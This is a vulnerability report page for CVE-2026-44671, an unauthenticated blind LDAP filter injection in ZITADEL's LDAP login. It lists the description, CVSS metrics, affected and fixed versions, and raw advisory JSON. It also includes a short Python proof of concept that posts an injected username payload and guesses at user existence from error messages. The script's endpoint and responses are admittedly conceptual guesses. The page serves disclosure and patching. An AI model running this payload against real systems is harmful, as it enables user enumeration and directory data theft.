Security Vulnerability Report
中文
CVE-2026-44671 CVSS 7.5 HIGH

CVE-2026-44671

Published: 2026-05-14 22:16:45
Last Modified: 2026-05-14 22:16:45

Description

ZITADEL is an open source identity management platform. From 2.71.11 to before 3.4.10 and 4.15.0, a vulnerability was discovered in Zitadel's LDAP identity provider implementation, which fails to properly escape user-provided usernames before incorporating them into LDAP search filters. This allows unauthenticated attackers to perform LDAP Filter Injection during the login process. While this vulnerability does not allow for a full authentication bypass, an attacker can use LDAP metacharacters (such as *, (, )) to perform blind LDAP injection. By observing the different failure (or success) responses, an attacker can systematically enumerate valid usernames and extract sensitive attribute data from the connected LDAP directory. This vulnerability is fixed in 3.4.10 and 4.15.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

ZITADEL >= 2.71.11, < 3.4.10
ZITADEL < 4.15.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # This is a conceptual PoC for Blind LDAP Injection in ZITADEL # It checks for the existence of a user by analyzing response differences. target_url = "https://<target-zitadel-domain>/oauth/v2/ldap/login" # LDAP injection payload to check if a user 'admin' exists # Logic: If user exists, we might get a 'wrong password' error. # If user does not exist, we might get a 'user not found' error. # Payload structure: valid_user)(|(password=*)) # This attempts to make the filter always true if the user exists. payload = "admin)(|(password=*))" data = { "username": payload, "password": "any_password" } response = requests.post(target_url, data=data) if "invalid credentials" in response.text.lower(): print("[+] Potential Blind LDAP Injection confirmed.") print("[+] User 'admin' likely exists.") elif "user not found" in response.text.lower(): print("[-] User 'admin' likely does not exist or injection failed.") else: print("[?] Unexpected response.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44671", "sourceIdentifier": "[email protected]", "published": "2026-05-14T22:16:44.850", "lastModified": "2026-05-14T22:16:44.850", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZITADEL is an open source identity management platform. From 2.71.11 to before 3.4.10 and 4.15.0, a vulnerability was discovered in Zitadel's LDAP identity provider implementation, which fails to properly escape user-provided usernames before incorporating them into LDAP search filters. This allows unauthenticated attackers to perform LDAP Filter Injection during the login process. While this vulnerability does not allow for a full authentication bypass, an attacker can use LDAP metacharacters (such as *, (, )) to perform blind LDAP injection. By observing the different failure (or success) responses, an attacker can systematically enumerate valid usernames and extract sensitive attribute data from the connected LDAP directory. This vulnerability is fixed in 3.4.10 and 4.15.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-90"}]}], "references": [{"url": "https://github.com/zitadel/zitadel/releases/tag/v3.4.10", "source": "[email protected]"}, {"url": "https://github.com/zitadel/zitadel/releases/tag/v4.15.0", "source": "[email protected]"}, {"url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-rxvx-hhpj-q6px", "source": "[email protected]"}]}}